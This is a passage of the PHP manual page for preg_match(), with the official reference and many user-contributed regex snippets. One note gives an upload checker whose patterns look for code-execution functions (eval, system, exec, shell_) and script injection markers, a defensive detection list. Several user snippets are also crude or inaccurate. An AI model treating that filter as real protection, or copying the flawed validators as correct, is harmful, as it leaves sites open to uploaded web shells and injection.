    $match_res = preg_match('/<DELIMITER value ?= ?"(.*)" ?\/>/', $xml, $matches);
    if(!empty($matches[1])) {
        $results["delimiter"] = chr($matches[1]);
    } else {
        // DEFAULT DELIMITER
        $results["delimiter"] = "\t";
    }
    unset($match_res, $matches);

    // GET MULTIPLE DATA NODES (multiple instances)
    $results["data_count"] = preg_match_all("/<DATA>(.*)<\/DATA>/", $xml, $matches);
    // GET MATCHES OF SUB PATTERN, DISCARD THE REST
    $results["data"]=$matches[1];
    unset($match_res, $matches);

    // UNSET XML TO SAVE MEMORY (should unset outside the function as well)
    unset($xml);

    // RETURN RESULTS ARRAY
    return $results;

}

?>
bruha 04-Mar-2008 09:13
To count str_length in UTF-8 string i use

$count = preg_match_all("/[[:print:]\pL]/u", $str, $pockets);

where
[:print:] - printing characters, including space
\pL - UTF-8 Letter
/u - UTF-8 string
other unicode character properties on http://www.pcre.org/pcre.txt
dolbegraeb 29-Jan-2008 01:30
please note, that the function of "mail at SPAMBUSTER at milianw dot de" can result in invalid xhtml in some cases. think i used it in the right way but my result is sth like this:

<img src="./img.jpg" alt="nice picture" />foo foo foo foo </img>

correct me if i'm wrong.
i'll see when there's time to fix that. -.-
mr davin 12-Jul-2007 11:57
<?php
// Returns an array of strings where the start and end are found
    function findinside($start, $end, $string) {
        preg_match_all('/' . preg_quote($start, '/') . '([^\.)]+)'. preg_quote($end, '/').'/i', $string, $m);
        return $m[1];
    }

    $start = "mary has";
    $end = "lambs.";
    $string = "mary has 6 lambs. phil has 13 lambs. mary stole phil's lambs. now mary has all the lambs.";

    $out = findinside($start, $end, $string);

    print_r ($out);

/* Results in
(
    [0] =>  6
    [1] =>  all the
)
*/
?>
phektus at gmail dot com 27-Jun-2007 08:22
If you'd like to include DOUBLE QUOTES on a regular expression for use with preg_match_all, try ESCAPING THRICE, as in: \\\"

For example, the pattern:
'/<table>[\s\w\/<>=\\\"]*<\/table>/'

Should be able to match:
<table>
<row>
<col align="left" valign="top">a</col>
<col align="right" valign="bottom">b</col>
</row>
</table>
.. with all there is under those table tags.

I'm not really sure why this is so, but I tried just the double quote and one or even two escape characters and it won't work. In my frustration I added another one and then it's cool.
chuckie 06-Dec-2006 03:20
This is a function to convert byte offsets into (UTF-8) character offsets (this is reagardless of whether you use /u modifier:

<?php

function mb_preg_match_all($ps_pattern, $ps_subject, &$pa_matches, $pn_flags = PREG_PATTERN_ORDER, $pn_offset = 0, $ps_encoding = NULL) {
  // WARNING! - All this function does is to correct offsets, nothing else:
  //
  if (is_null($ps_encoding))
    $ps_encoding = mb_internal_encoding();

  $pn_offset = strlen(mb_substr($ps_subject, 0, $pn_offset, $ps_encoding));
  $ret = preg_match_all($ps_pattern, $ps_subject, $pa_matches, $pn_flags, $pn_offset);

  if ($ret && ($pn_flags & PREG_OFFSET_CAPTURE))
    foreach($pa_matches as &$ha_match)
      foreach($ha_match as &$ha_match)
        $ha_match[1] = mb_strlen(substr($ps_subject, 0, $ha_match[1]), $ps_encoding);
    //
    // (code is independent of PREG_PATTER_ORDER / PREG_SET_ORDER)

  return $ret;
  }

?>
phpnet at sinful-music dot com 20-Feb-2006 09:53
Here's some fleecy code to 1. validate RCF2822 conformity of address lists and 2. to extract the address specification (the part commonly known as 'email'). I wouldn't suggest using it for input form email checking, but it might be just what you want for other email applications. I know it can be optimized further, but that part I'll leave up to you nutcrackers. The total length of the resulting Regex is about 30000 bytes. That because it accepts comments. You can remove that by setting $cfws to $fws and it shrinks to about 6000 bytes. Conformity checking is absolutely and strictly referring to RFC2822. Have fun and email me if you have any enhancements!

<?php
function mime_extract_rfc2822_address($string)
{
        //rfc2822 token setup
        $crlf           = "(?:\r\n)";
        $wsp            = "[\t ]";
        $text           = "[\\x01-\\x09\\x0B\\x0C\\x0E-\\x7F]";
        $quoted_pair    = "(?:\\\\$text)";
        $fws            = "(?:(?:$wsp*$crlf)?$wsp+)";
        $ctext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F" .
                          "!-'*-[\\]-\\x7F]";
        $comment        = "(\\((?:$fws?(?:$ctext|$quoted_pair|(?1)))*" .
                          "$fws?\\))";
        $cfws           = "(?:(?:$fws?$comment)*(?:(?:$fws?$comment)|$fws))";
        //$cfws           = $fws; //an alternative to comments
        $atext          = "[!#-'*+\\-\\/0-9=?A-Z\\^-~]";
        $atom           = "(?:$cfws?$atext+$cfws?)";
        $dot_atom_text  = "(?:$atext+(?:\\.$atext+)*)";
        $dot_atom       = "(?:$cfws?$dot_atom_text$cfws?)";
        $qtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!#-[\\]-\\x7F]";
        $qcontent       = "(?:$qtext|$quoted_pair)";
        $quoted_string  = "(?:$cfws?\"(?:$fws?$qcontent)*$fws?\"$cfws?)";
        $dtext          = "[\\x01-\\x08\\x0B\\x0C\\x0E-\\x1F!-Z\\^-\\x7F]";
        $dcontent       = "(?:$dtext|$quoted_pair)";
        $domain_literal = "(?:$cfws?\\[(?:$fws?$dcontent)*$fws?]$cfws?)";
        $domain         = "(?:$dot_atom|$domain_literal)";
        $local_part     = "(?:$dot_atom|$quoted_string)";
        $addr_spec      = "($local_part@$domain)";
        $display_name   = "(?:(?:$atom|$quoted_string)+)";
        $angle_addr     = "(?:$cfws?<$addr_spec>$cfws?)";
        $name_addr      = "(?:$display_name?$angle_addr)";
        $mailbox        = "(?:$name_addr|$addr_spec)";
        $mailbox_list   = "(?:(?:(?:(?<=:)|,)$mailbox)+)";
        $group          = "(?:$display_name:(?:$mailbox_list|$cfws)?;$cfws?)";
        $address        = "(?:$mailbox|$group)";
        $address_list   = "(?:(?:^|,)$address)+";

        //output length of string (just so you see how f**king long it is)
        echo(strlen($address_list) . " ");

        //apply expression
        preg_match_all("/^$address_list$/", $string, $array, PREG_SET_ORDER);

        return $array;
};
?>
mnc at u dot nu 03-Feb-2006 07:05
PREG_OFFSET_CAPTURE always seems to provide byte offsets, rather than character position offsets, even when you are using the unicode /u modifier.


Perform a regular expression match

  • « preg_match_all
  • preg_quote »
  • PHP Manual
  • PCRE Functions
  • Perform a regular expression match

preg_match

(PHP 4, PHP 5)

preg_match — Perform a regular expression match

Description

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

Searches subject for a match to the regular expression given in pattern.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

matches

If matches is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1] will have the text that matched the first captured parenthesized subpattern, and so on.

flags

flags can be the following flag:

PREG_OFFSET_CAPTURE
If this flag is passed, for every occurring match the appendant string offset will also be returned. Note that this changes the value of matches into an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

offset

Normally, the search starts from the beginning of the subject string. The optional parameter offset can be used to specify the alternate place from which to start the search (in bytes).

Note:

Using offset is not equivalent to passing substr($subject, $offset) to preg_match() in place of the subject string, because pattern can contain assertions such as ^, $ or (?<=x). Compare:

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, 3);
print_r($matches);
?>

The above example will output:

Array
(
)

while this example

<?php
$subject = "abcdef";
$pattern = '/^def/';
preg_match($pattern, substr($subject,3), $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

will produce

Array
(
    [0] => Array
        (
            [0] => def
            [1] => 0
        )

)

Return Values

preg_match() returns 1 if the pattern matches given subject, 0 if it does not, or FALSE if an error occurred.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Changelog

Version | Description
5.3.6 | Returns FALSE if offset is higher than subject length.
5.2.2 | Named subpatterns now accept the syntax (?<name>) and (?'name') as well as (?P<name>). Previous versions accepted only (?P<name>).

Examples

Example #1 Find the string of text "php"

<?php
// The "i" after the pattern delimiter indicates a case-insensitive search
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

Example #2 Find the word "web"

<?php
/* The \b in the pattern indicates a word boundary, so only the distinct
 * word "web" is matched, and not a word partial like "webbing" or "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}

if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "A match was found.";
} else {
    echo "A match was not found.";
}
?>

Example #3 Getting the domain name out of a URL

<?php
// get host name from URL
preg_match('@^(?:http://)?([^/]+)@i',
    "http://www.php.net/index.html", $matches);
$host = $matches[1];

// get last two segments of host name
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

The above example will output:

domain name is: php.net

Example #4 Using named subpattern

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* This also works in PHP 5.2.2 (PCRE 7.0) and later, however
 * the above form is recommended for backwards compatibility */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

The above example will output:

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

Notes

Tip

Do not use preg_match() if you only want to check if one string is contained in another string. Use strpos() or strstr() instead as they will be faster.

See Also

  • PCRE Patterns
  • preg_match_all() - Perform a global regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

Supriya Karmakar Kolkata 15-Oct-2014 02:34
Always escape double quotes to avoid errors, even if you don't need to.

bad practice:
$foo = preg_match('/<h2 class="bengali">.*?<\/h2>/', $bigTextChunk, $myArray);

good practice:
$foo = preg_match("/<h2 class=\"bengali\">.*?<\/h2>/", bigTextChunk, $myArray);

Bad practice can cause mysterious errors as it happened in my case.
dkr at dotnull dot de 27-Aug-2014 12:35
I noted that PCRE_ANCHORED (the pattern modifier A) does work fine if using an offset. If you use the escape sequence \A or even the dash "^" in the regex, it does not work (even if in multiline mode)...

<?php
$text = 'foo bar';
print (int) preg_match('/^bar/',$text,$a,null,4); // prints 0
print (int) preg_match('/\Abar/',$text,$a,null,4); // prints 0
print (int) preg_match('/bar/A',$text,$a,null,4); // prints 1
?>

Hope this helps someone out there! :-)

Version: PHP 5.5.12
Gilles A 22-Aug-2014 10:27
Using named subpattern :

Since PCRE 7.0 ( PHP  >= 5.2.2) , named groups can be defined using
 (?<name>) or (?'name') instead of (?P<name>)

<?php

$str = 'foobar: 2008';

preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

print_r($matches);

//Or
preg_match('/(?\'name\'\w+): (?\'digit\'\d+)/', $str, $matches);

print_r($matches);

//Or

preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);
?>

//Result

Array
(
    [0] =>foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)
Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)
Iven Marquardt 13-Dec-2013 06:57
if you want to match all printable ascii (0..127) expect some specific chars, try this:

<?php
$excluded = '\$a';
echo preg_replace('~[^' . $excluded . '[:^print:]]~', '', 'abc123ABC!?$%/€');
?>

result: a$€
Jeff Weiss 25-Jul-2013 11:18
Example of validating an email address and breaking it into 3 parts ( local, domain name, domain suffix )

A case insensitive  email is valid if:

1) local matches letters a..z or characters . - _ +
2) domain name matches letters a..z or characters - _
3) domain suffix matches letters a..z and is between 2 and 4 characters in length

<?php
preg_match('/(^[a-zA-Z_.+-]+)@([a-zA-Z_-]+).([a-zA-Z]{2,4}$)/i', "jeff@nowhere.com", $matches);

var_export($matches);
?>

outputs:

Array
(
    [0] => jeff@nowhere.com
    [1] => jeff
    [2] => nowhere
    [3] => com
)
asdfasdasad34535 at iflow dot at 22-Jul-2013 06:07
Attention! PREG_OFFSET_CAPTURE not UTF-8 aware when using u modifier
and it's not a but, it's a feature:
https://bugs.php.net/bug.php?id=37391

Possible workaround: Use mb_strpos to get the correct offset, instead of the flag.

 UTF-8 support would be nice.
hessemanj2100 at gmail dot com 02-Jul-2013 02:32
Just a note about my last post. The regex expression for the function I posted contains a question mark at the end. Technically this doesn't need to be there but it will work with or without it. Just remove it if you don't want it. Enjoy!
hessemanj2100 at gmail dot com 02-Jul-2013 02:05
The most accurate IPv4 function. It will not allow leading zeros and supports the full address range of 0.0.0.0 - 255.255.255.255

<?php
function is_ipv4($string)
{
    // The regular expression checks for any number between 0 and 255 beginning with a dot (repeated 3 times)
    // followed by another number between 0 and 255 at the end. The equivalent to an IPv4 address.
    return (bool) preg_match('/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'.
    '\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]?|[0-9])$/', $string);
}
?>
andre at koethur dot de 18-Jun-2013 05:49
Be aware of bug https://bugs.php.net/bug.php?id=50887 when using sub patterns: Un-matched optional sub patterns at the end won't show up in $matches.

Here is a workaround: Assign a name to all subpatterns you are interested in, and merge $match afterwards with an constant array containing some reasonable default values:

<?php
if (preg_match('/^(?P<lang>[^;*][^;]*){1}(?:;q=(?P<qval>[0-9.]+))?$/u', 'de', $match))
{
  $match = array_merge(array('lang' => '', 'qval' => ''), $match);
  print_r($match);
}
?>

This outputs:
Array
(
    [lang] => de
    [qval] =>
    [0] => de
    [1] => de
)

Instead of:
Array
(
    [0] => de
    [lang] => de
    [1] => de
)
yofilter-php at yahoo dot co dot uk 05-Mar-2013 10:48
There does not seem to be any mention of the PHP version of switches that can be used with regular expressions.

preg_match_all('/regular expr/sim',$text).

The s i m being the location for and available switches (I know about)
The i is to ignore letter cases (this is commonly known - I think)
The s tells the code NOT TO stop searching when it encounters \n (line break) - this is important with multi-line entries for example text from an editor that needs search.
The m tells the code it is a multi-line entry, but importantly allows the use of ^ and $ to work when showing start and end.

I am hoping this will save someone from the 4 hours of torture that I endured, trying to workout this issue.
Yousef Ismaeil Cliprz 04-Feb-2013 10:31
Some times a Hacker use a php file or shell as a image to hack your website. so if you try to use move_uploaded_file() function as in example to allow for users to upload files, you must check if this file contains a bad codes or not so we use this function. preg match

in this function we use

unlink() - http://php.net/unlink

after you upload file check a file with below function.

<?php

/**
 * A simple function to check file from bad codes.
 *
 * @param (string) $file - file path.
 * @author Yousef Ismaeil - Cliprz[at]gmail[dot]com.
 */
function is_clean_file ($file)
{
    if (file_exists($file))
    {
        $contents = file_get_contents($file);
    }
    else
    {
        exit($file." Not exists.");
    }

    if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i',$contents))
    {
        return true;
    }
    else if (preg_match("#&\#x([0-9a-f]+);#i", $contents))
    {
        return true;
    }
    elseif (preg_match('#&\#([0-9]+);#i', $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)script:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\`\'\"]*)javascript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#([a-z]*)=([\'\"]*)vbscript:#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*expression\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#(<[^>]+)style=([\`\'\"]*).*behaviour\([^>]*>#iU", $contents))
    {
        return true;
    }
    elseif (preg_match("#</*(applet|link|style|script|iframe|frame|frameset|html|body|title|div|p|form)[^>]*>#i", $contents))
    {
        return true;
    }
    else
    {
        return false;
    }
}
?>

Use

<?php
// If image contains a bad codes
$image   = "simpleimage.png";

if (is_clean_file($image))
{
    echo "Bad codes this is not image";
    unlink($image);
}
else
{
    echo "This is a real image.";
}
?>
Anonymous 24-Sep-2012 05:02
Here is a function that decreases the numbers inside a string (useful to convert DOM object into simplexml object)

e.g.: decremente_chaine("somenode->anode[2]->achildnode[3]") will return "somenode->anode[1]->achildnode[2]"

the numbering of the nodes in simplexml starts from zero, but from 1 in DOM xpath objects

<?php
function decremente_chaine($chaine)
    {
        //récupérer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // découper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on décale tout de 1 car le résultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
jphansen at uga dot edu 23-May-2012 04:41
Here's a regex to validate against the schema for common MySQL
 identifiers:

<?php
$string = "$table_name";
if (preg_match("/[^\\d\\sa-zA-Z$_]/", $string))
  echo "Failed validation";
?>
ulli dot luftpumpe at murkymind dot de 08-Apr-2012 07:32
Matching a backslash character can be confusing, because double escaping is needed in the pattern: first for PHP, second for the regex engine
<?php
//match newline control character:
preg_match('/\n/','\n');   //pattern matches and is stored as control character 0x0A in the pattern string
preg_match('/\\\n/','\n'); //very same match, but is stored escaped as 0x5C,0x6E in the pattern string

//trying to match "\'" (2 characters) in a text file, '\\\'' as PHP string:
$subject = file_get_contents('myfile.txt');
preg_match('/\\\'/',$subject);    //DOESN'T MATCH!!! stored as 0x5C,0x27 (escaped apostrophe), this only matches apostrophe
preg_match('/\\\\\'/',$subject);  //matches, stored as 0x5C,0x5C,0x27 (escaped backslash and unescaped apostrophe)
preg_match('/\\\\\\\/',$subject); //also matches, stored as 0x5C,0x5C,0x5C,0x27 (escaped backslash and escaped apostrophe)

//matching "\n" (2 characters):
preg_match('/\\\\n/','\\n');
preg_match('/\\\n/','\\n'); //same match - 3 backslashes are interpreted as 2 in PHP, if the following character is not escapeable
?>
Validate PAN Number 30-Mar-2012 07:13
Validate PAN Number.
[5 Alpha][4 Number][1 Alpha]
AAAAA1111A

function isValidPAN($num){
    return preg_match("/^[A-Z]{5}[0-9]{4}[A-Z]{1}$/", $num);
}
aer0s 17-Mar-2012 06:15
Simple function to return a sub-string following the preg convention. Kind of expensive, and some might say lazy but it has saved me time.

# preg_substr($pattern,$subject,[$offset]) function
# @author   aer0s
#  return a specific sub-string in a string using
#   a regular expression
# @param   $pattern   regular expression pattern to match
# @param   $subject   string to search
# @param   [$offset]   zero based match occurrence to return
#
# [$offset] is 0 by default which returns the first occurrence,
# if [$offset] is -1 it will return the last occurrence

function preg_substr($pattern,$subject,$offset=0){
    preg_match_all($pattern,$subject,$matches,PREG_PATTERN_ORDER);
    return $offset==-1?array_pop($matches[0]):$matches[0][$offset];
}

example:

             $pattern = "/model(\s|-)[a-z0-9]/i";
             $subject = "Is there something wrong with model 654, Model 732, and model 43xl or is Model aj45B the preferred choice?";

             echo preg_substr($pattern,$subject);
             echo preg_substr($pattern,$subject,1);
             echo preg_substr($pattern,$subject,-1);

Returns something like:

             model 654
             Model 732
             Model aj45B
Nimja 10-Feb-2012 08:12
When using a 'bad words reject string' filter, preg_match is MUCH faster than strpos / stripos. Because in the other cases, you would need to do a foreach for each word. With efficient programming, the foreach is ONLY faster when the first word in the ban-list is found.

(for 12 words, 100,000 iterations, no word found)
stripos - Taken 1.4876 seconds.
strpos - Taken 1.4207 seconds.
preg_match - Taken 0.189 seconds.

Interesting fact:
With long words ('averylongwordtospitepreg'), the difference is only much less. Only about a 2/3rd of the time instead of 1/6th

<?php

$words = array('word1', 'word2', 'word3', 'word4', 'word5', 'word6', 'word7', 'word8', 'word9', 'word10', 'word11', 'word12' );
$teststring = 'ThIs Is A tEsTsTrInG fOr TeStInG.';
$count = 100000;
$find = 0;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (stripos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'stripos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
for ($i = 0; $i < $count; $i++) {
    foreach ($words as $word) {
        if (strpos($teststring, $word) !== FALSE) {
            $find++;
            break;
        }
    }
}
echo 'strpos - Taken ' . round(microtime(TRUE) - $start, 4) . ' seconds.' . PHP_EOL;

$start = microtime(TRUE);
$pattern = '/';
$div = '';
foreach ($words as $word) {
    $pattern .= $div . preg_quote($word);
    $div = '|';
}
$pattern .= '/i';
//Pattern could easily be done somewhere else if words are static.
for ($i = 0; $i < $count; $i++) {
    if (preg_match($pattern, $teststring)) {
        $find++;
    }
}
$end = microtime(TRUE);
echo 'preg_match - Taken ' . round($end - $start, 4) . ' seconds.' . PHP_EOL;
?>
kevin 08-Jan-2012 03:11
here is a little function to get an associative array instead of the numeric one.

<?php
function preg_match_assoc($pattern, $subject, $assoc, $flags = 0, $offset = 0) {
    $matches = array();
    eval('preg_match($pattern, $subject, $matches, $flags, $offset);');
    $n = 0;
    foreach($matches as $result) {
        $array[$assoc[$n]] = $result;
        $n++;
    }
    return $array;
}
?>

example of use

<?php

$assocs = array(
    'all',
    'a-1',
    'i-1',
    'a-2',
    'ia-1',
    'ia-2'
);

$test = preg_match_assoc('#([a-z]+)([0-9]+)([a-z]+)\-([a-z|0-9]+)\-([a-z|0-9]+)#', 'az45rt-df36qz-fg89ih', $assocs);

// $test will contain :
//
// array
//   'all' => string 'az45rt-df36qz-fg89ih' (length=20)
//   'a-1' => string 'az' (length=2)
//   'i-1' => string '45' (length=2)
//   'a-2' => string 'rt' (length=2)
//   'ia-1' => string 'df36qz' (length=6)
//
// Instead of :
//
// array
//   0 => string 'az45rt-df36qz-fg89ih' (length=20)
//   1 => string 'az' (length=2)
//   2 => string '45' (length=2)
//   2 => string 'rt' (length=2)
//   4 => string 'df36qz' (length=6)
//   5 => string 'fg89ih' (length=6)

?>
Jonny 5 07-Dec-2011 06:55
Workaround for getting the offset in UTF-8
(in some cases mb_strpos might be an option as well)

<?php
if(preg_match($pattern,$haystack,$out,PREG_OFFSET_CAPTURE)) {
    $offset = strlen(utf8_decode(substr($haystack,0,$out[0][1])));
}
?>
force at md-t dot org 26-Sep-2011 08:38
Simple regex

Regex quick reference
[abc]     A single character: a, b or c
[^abc]     Any single character but a, b, or c
[a-z]     Any single character in the range a-z
[a-zA-Z]     Any single character in the range a-z or A-Z
^     Start of line
$     End of line
\A     Start of string
\z     End of string
.     Any single character
\s     Any whitespace character
\S     Any non-whitespace character
\d     Any digit
\D     Any non-digit
\w     Any word character (letter, number, underscore)
\W     Any non-word character
\b     Any word boundary character
(...)     Capture everything enclosed
(a|b)     a or b
a?     Zero or one of a
a*     Zero or more of a
a+     One or more of a
a{3}     Exactly 3 of a
a{3,}     3 or more of a
a{3,6}     Between 3 and 6 of a

options: i case insensitive m make dot match newlines x ignore whitespace in regex o perform #{...} substitutions only once
cmallabon at homesfactory dot com 31-Aug-2011 07:28
Just an interesting note. Was just updating code to replace ereg() with strpos() and preg_match and the thought occured that preg_match() could be optimized to quit early when only searching if a string begins with something, for example
<?php
if(preg_match("/^http/", $url))
{
 //do something
}
?>

 vs

<?php
if(strpos($url, "http") === 0)
{
//do something
}
?>

As I guessed, strpos() is always faster (about 2x) for short strings like a URL but for very long strings of several paragraphs (e.g. a block of XML) when the string doesn't start with the needle preg_match as twice as fast as strpos() as it doesn't scan the entire string.

So, if you are searching long strings and expect it to normally be true (e.g. validating XML), strpos() is a much faster BUT if you expect if to often fail, preg_match is the better choice.
ayman2243 at gmail dot com 31-Aug-2011 01:55
highlight Search Words

<?php
function highlight($word, $subject) {

    $split_subject = explode(" ", $subject);
    $split_word = explode(" ", $word);

    foreach ($split_subject as $k => $v){
           foreach ($split_word as $k2 => $v2){
               if($v2 == $v){

                   $split_subject[$k] = "<span class='highlight'>".$v."</span>";

               }
           }
      }

      return implode(' ', $split_subject);
}
?>
Khalid_Moharram at hotmail dot com 25-Aug-2011 10:36
Well for anyone looking for email validation, according to the RFC specifications (ONLY FOR ((ENGLISH ASCII)) E-Mails).

<?php
function email_valid($temp_email) {
######## Three functions to HELP ########
        function valid_dot_pos($email) {
            $str_len = strlen($email);
            for($i=0; $i<$str_len; $i++) {
                $current_element = $email[$i];
                if($current_element == "." && ($email[$i+1] == ".")) {
                    return false;
                    break;
                }
                else {

                }
            }
            return true;
        }
        function valid_local_part($local_part) {
            if(preg_match("/[^a-zA-Z0-9-_@.!#$%&'*\/+=?^`{\|}~]/", $local_part)) {
                return false;
            }
            else {
                return true;
            }
        }
        function valid_domain_part($domain_part) {
            if(preg_match("/[^a-zA-Z0-9@#\[\].]/", $domain_part)) {
                return false;
            }
            elseif(preg_match("/[@]/", $domain_part) && preg_match("/[#]/", $domain_part)) {
                return false;
            }
            elseif(preg_match("/[\[]/", $domain_part) || preg_match("/[\]]/", $domain_part)) {
                $dot_pos = strrpos($domain_part, ".");
                if(($dot_pos < strrpos($domain_part, "]")) || (strrpos($domain_part, "]") < strrpos($domain_part, "["))) {
                    return true;
                }
                elseif(preg_match("/[^0-9.]/", $domain_part)) {
                    return false;
                }
                else {
                    return false;
                }
            }
            else {
                return true;
            }
        }
        // trim() the entered E-Mail
        $str_trimmed = trim($temp_email);
        // find the @ position
        $at_pos = strrpos($str_trimmed, "@");
        // find the . position
        $dot_pos = strrpos($str_trimmed, ".");
        // this will cut the local part and return it in $local_part
        $local_part = substr($str_trimmed, 0, $at_pos);
        // this will cut the domain part and return it in $domain_part
        $domain_part = substr($str_trimmed, $at_pos);
        if(!isset($str_trimmed) || is_null($str_trimmed) || empty($str_trimmed) || $str_trimmed == "") {
            $this->email_status = "You must insert something";
            return false;
        }
        elseif(!valid_local_part($local_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!valid_domain_part($domain_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif($at_pos > $dot_pos) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!valid_local_part($local_part)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(($str_trimmed[$at_pos + 1]) == ".") {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        elseif(!preg_match("/[(@)]/", $str_trimmed) || !preg_match("/[(.)]/", $str_trimmed)) {
            $this->email_status = "Invalid E-Mail Address";
            return false;
        }
        else {
            $this->email_status = "";
            return true;
        }
}
?>
workhorse at op dot pl 11-Aug-2011 09:53
Preg_match returns empty result trying to validate $subject with carriege returns (/n/r).
To solve it one need to use /s modifier in $pattern string.
<?php
$pattern='/.*/s';
$valid=preg_match($pattern, $subject, $match);
?>
itworkarounds at gmail dot com 09-Aug-2011 06:08
You can use the following code to detect non-latin (Cyrilic, Arabic, Greek...) characters:

<?php
preg_match("/^[a-zA-Z\p{Cyrillic}0-9\s\-]+$/u", "ABC abc 1234 АБВ абв");
?>
mohammad40g at gmail dot com 02-Aug-2011 06:23
This sample is for checking persian character:

<?php
   preg_match("/[\x{0600}-\x{06FF}\x]{1,32}/u", 'محمد');
?>
sun at drupal dot org 24-Jun-2011 02:56
Basic test for invalid UTF-8 that can hi-jack IE:

<?php
$valid = (preg_match('/^./us', $text) == 1);
?>
See http://api.drupal.org/api/drupal/includes--bootstrap.inc/function/drupal_validate_utf8/7 for details.

---

Test for valid UTF-8 and XML/XHTML character range compatibility:

<?php
$invalid = preg_match('@[^\x9\xA\xD\x20-\x{D7FF}\x{E000}-\x{FFFD}\x{10000}-\x{10FFFF}]@u', $text)
?>
Ref: http://www.w3.org/TR/2000/REC-xml-20001006#charsets
juanmadss at gmail dot com 25-May-2011 01:00
Testing the speed of preg_match against stripos doing insensitive case search in strings:

<?php
$string = "Hey, how are you? I'm a string.";

// PCRE
$start = microtime(true);
for ($i = 1; $i < 10000000; $i++) {
    $bool = preg_match('/you/i', $string);
}
$end = microtime(true);
$pcre_lasted = $end - $start; // 8.3078360557556

// Stripos, we believe in you
$start = microtime(true);
for ($i = 1; $i < 10000000; $i++) {
    $bool = stripos($string, 'you') !== false;
}
$end = microtime(true);
$stripos_lasted = $end - $start; // 6.0306038856506

echo "Preg_match lasted: {$pcre_lasted}<br />Stripos lasted: {$stripos_lasted}";
?>

So unless you really need to test a string against a regular expression, always use strpos / stripos and other string functions to find characters and strings within other strings.
mulllhausen 16-May-2011 10:57
i do a fair bit of html scraping in conjunction with curl. i always need to know if i have reached the right page or if the curl request failed. the main problem i have encountered is html tags having unexpected spaces or other characters (especially the &nbsp; character sequence) between them. for example when requesting a page with a certain manner set of post or get variables the response might be

<a href='blah'><span>data data data</span></a>

but requesting the same page with different post/get variables might give the following result:

<a href='blah'>
         &nbsp;<span>data data data</span>
</a>

to match both of these tag sequences with the same pattern i use the [\S\s]*? wildcard which basically means 'match anything at all...but not if you can help it'

so the pattern for the above sequence would be:

<?php

$page1 = "........<a href='blah'><span>data data data</span></a>.........";

$page2 = "........<a href='blah'>
         &nbsp;<span>data data data</span>
</a>
........";

$w = "[\s\S]*?"; //ungreedy wildcard
$pattern = "/\<a href='blah'\>$w\<span\>data data data\<\/span\>$w\<\/a\>/";

if(preg_match($pattern, $page1, $matches)) echo "got to page 1. match: [".print_r($matches, true)."]\n";
